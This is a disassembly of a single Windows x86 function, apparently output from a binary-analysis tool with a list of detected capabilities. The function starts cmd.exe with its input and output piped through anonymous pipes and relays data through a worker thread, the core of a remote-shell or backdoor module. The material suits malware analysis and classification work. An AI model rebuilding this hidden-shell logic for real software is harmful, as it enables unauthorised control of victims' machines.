Function at 0x4036f0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
cmp dword [0x41a150], 0
push esi
push edi
mov edi, ecx
je 0x403810
lea eax, [ebp - 4]
push eax
push dword [0x41a140]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x4037b9
cmp dword [ebp - 4], 0x103
jne 0x403810
push 0
lea eax, [ebp - 8]
mov dword [0x41a33c], edi
push eax
push 2
push 0x416854
push dword [0x41a168]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40379d
push eax
push dword [0x41a140]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x41a16c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [0x41a164]
call esi
push dword [0x41a168]
call esi
push dword [0x41a160]
call esi
push ecx
push 0
push 0
mov dl, 0x61
mov dword [0x41a150], 0
mov ecx, edi
call fcn.00402020
add esp, 0xc
push ecx
push 0
push 0
mov dl, 0x60
mov ecx, edi
call fcn.00402020
add esp, 0xc
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0
push dword [0x41a140]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x41a16c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [0x41a164]
call esi
push dword [0x41a168]
call esi
push dword [0x41a160]
call esi
mov dword [0x41a150], 0
push ecx
push 0
push 0
mov dl, 0x61
mov ecx, edi
call fcn.00402020
add esp, 0xc
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x14]
push 0
push eax
mov dword [ebp - 0x14], 0xc
mov dword [ebp - 0x10], 0
movq xmm0, qword [ebp - 0x14]
push 0x41a164
push 0x41a16c
mov dword [ebp - 0xc], 1
movq qword [ebp - 0x20], xmm0
mov dword [ebp - 0x18], 1
call esi
test eax, eax
jne 0x403889
mov eax, dword [0x41a16c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40386e
push eax
call esi
mov dword [0x41a16c], 0
mov eax, dword [0x41a164]
test eax, eax
je 0x4037f7
push eax
call esi
mov dword [0x41a164], 0
jmp 0x4037f7
push 0
lea eax, [ebp - 0x20]
push eax
push 0x41a168
push 0x41a160
call esi
test eax, eax
jne 0x403906
mov eax, dword [0x41a16c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4038bb
push eax
call esi
mov dword [0x41a16c], 0
mov eax, dword [0x41a164]
test eax, eax
je 0x4038d1
push eax
call esi
mov dword [0x41a164], 0
mov eax, dword [0x41a160]
test eax, eax
je 0x4038e7
push eax
call esi
mov dword [0x41a160], 0
mov eax, dword [0x41a168]
test eax, eax
je 0x4037f7
push eax
call esi
mov dword [0x41a168], 0
jmp 0x4037f7
push 0x44
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.00406620
mov eax, dword [0x41a164]
add esp, 0xc
mov dword [ebp - 0x24], eax
xorps xmm0, xmm0
mov dword [ebp - 0x28], eax
mov eax, dword [0x41a160]
push 0x41a140
mov dword [ebp - 0x2c], eax
xor eax, eax
mov word [ebp - 0x34], ax
lea eax, [ebp - 0x64]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push 0
push str.c:windows_system32cmd.exe
mov dword [ebp - 0x64], 0x44
mov dword [ebp - 0x38], 0x101
movdqu xmmword [0x41a140], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4039d5
mov eax, dword [0x41a16c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40398a
push eax
call esi
mov dword [0x41a16c], 0
mov eax, dword [0x41a164]
test eax, eax
je 0x4039a0
push eax
call esi
mov dword [0x41a164], 0
mov eax, dword [0x41a160]
test eax, eax
je 0x4039b6
push eax
call esi
mov dword [0x41a160], 0
mov eax, dword [0x41a168]
test eax, eax
je 0x4037f7
push eax
call esi
mov dword [0x41a168], 0
jmp 0x4037f7
push ecx
push 0
push 0
mov dl, 0x60
mov ecx, edi
call fcn.00402020
add esp, 0xc
mov dword [0x41a33c], edi
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
push 0x41a154
push 0
push 0x41a33c
push 0x4034f0
push 0
push 0
mov dword [0x41a344], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x41a15c], eax
cmp eax, 0xffffffff
jne 0x403a95
mov eax, dword [0x41a16c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x403a40
push eax
call esi
mov dword [0x41a16c], 0
mov eax, dword [0x41a164]
test eax, eax
je 0x403a56
push eax
call esi
mov dword [0x41a164], 0
mov eax, dword [0x41a160]
test eax, eax
je 0x403a6c
push eax
call esi
mov dword [0x41a160], 0
mov eax, dword [0x41a168]
test eax, eax
je 0x403a82
push eax
call esi
mov dword [0x41a168], 0
push 0
push dword [0x41a140]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4037f7
push 0x3e8
mov dword [0x41a334], 0x41a33c
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret